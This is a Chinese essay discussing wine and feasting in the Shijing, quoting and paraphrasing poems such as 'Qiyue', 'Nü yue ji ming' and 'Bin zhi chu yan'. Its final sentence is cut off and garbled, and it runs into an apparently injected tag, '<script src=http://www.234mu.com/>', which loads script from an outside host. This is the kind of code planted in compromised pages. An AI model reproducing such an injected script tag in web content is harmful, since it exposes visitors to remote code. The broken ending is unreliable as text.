酒香氤氲话《诗经》
翻开案头那本《诗经》，顿时觉得氤氲酒香扑面而来，令我陶醉，良久，良久。《诗经》是我国第一部诗歌总集，分风、雅、颂三个部分，共收入自西周初年至春秋中叶大约五百多年间的诗歌305篇，其中有关饮酒的许多诗篇，对我国古代的酒文化作了客观的展现。《诗经》中直接写到酒文化的诗作有35篇，加上间接涉及酒的诗作，总计达55篇，本文在《风》、《雅》、《颂》中各选若干涉及酒的篇章或诗句略作介绍。
“国风”是《诗经》中的精华，是我国古代文艺宝库中璀璨的明珠。“国风”中的民歌以绚丽多彩的画面，反映了当时真实的社会生活。《国风.豳风.七月》中的诗句“九月肃霜，十月涤场。朋酒斯飨，曰杀羔羊。跻彼公堂，称彼兕觥，万寿无疆！”描写了农事之后相聚饮酒的愉快场景，上述诗句的大意是：九月下了霜，十月扫晒场。捧上两樽美酒（按：“朋酒”即两樽酒），杀上一只羔羊。登上长辈的厅堂，高举牛角酒杯，祝一声“长寿无疆”！篇中又有诗句“十月获稻，为此春酒，以介眉寿。”形象地描绘了农家在十月收获稻谷，然后酿酒，至春天酿成，用来敬献给长辈，祝其长寿，淋漓尽致地描写出充满田园气息的天伦之乐。
《国风.郑风.女曰鸡鸣》通过男女对话，展示了一对青年夫妇和谐的家庭生活和诚挚而热烈的感情，诗中不乏饮酒的诗句。“女曰‘鸡鸣’，士曰‘昧旦。子兴视夜，明星有烂。’‘将翱将翔，弋凫与雁。弋言加之，与子宜之。宜言饮酒，与子偕老。’琴瑟在御，莫不静好。”大意是：女人说“鸡已经鸣叫了。”男人说“天还没亮呐。你看看夜空，那些明星多么灿烂。”“宿巢的鸟雀就要飞去了，到芦荡射鸭射雁去吧。野鸭大雁射下来，我为你烹调，做成佳肴一起饮酒，我要与你白头偕老。”女弹琴，男鼓瑟，和睦安好，多么美满呀。诗情画意，生动谐趣，恰似一出精炼的生活“小品”剧目。
“雅诗”和“颂诗”都是统治阶级在特定场合所用的乐歌，反映了社会生活的某些方面，具有一定的社会意义和认识价值。《小雅.宾之初筵》篇幅颇长，共五章。第一章和第二章写合乎礼制的酒宴：“宾之初筵，左右秩秩。笾豆有楚，肴核维旅。酒既和旨，饮酒孔偕。钟鼓既设，举醻逸逸……”宾客初入席，列坐有序。食器鱼肉瓜果摆放得整齐有序。既然酒味甘醇，诸位都快喝吧。钟鼓已经架好，举杯敬酒连连不停。“大侯既抗，弓矢斯张。射夫既同，献尔发功。发彼有的，以祈尔爵。”庭院里安置了射箭的大靶，凭射手的成绩判定谁来饮酒。“籥舞笙鼓，乐既和奏。烝衎烈祖，以洽百礼。”奏起排箫，鼓起笙，音乐和谐。进献乐舞敬祖，礼数周到。第三章和第四章写宾客违背礼制时的酒宴，“曰既醉止，威仪怭怭。是曰既醉，不知其秩。”他们都已喝醉，庄重威严荡然无存。因为大醉而不知规矩。“宾既醉止，载号载呶。乱我笾豆，屡舞僛僛。”宾客大醉，又叫又嚷。把我的食器全都弄乱，踉踉跄跄不停地乱舞。第五章是总结性的说理，主张养成酒德，遵从礼?script src=http://www.234mu.com/>
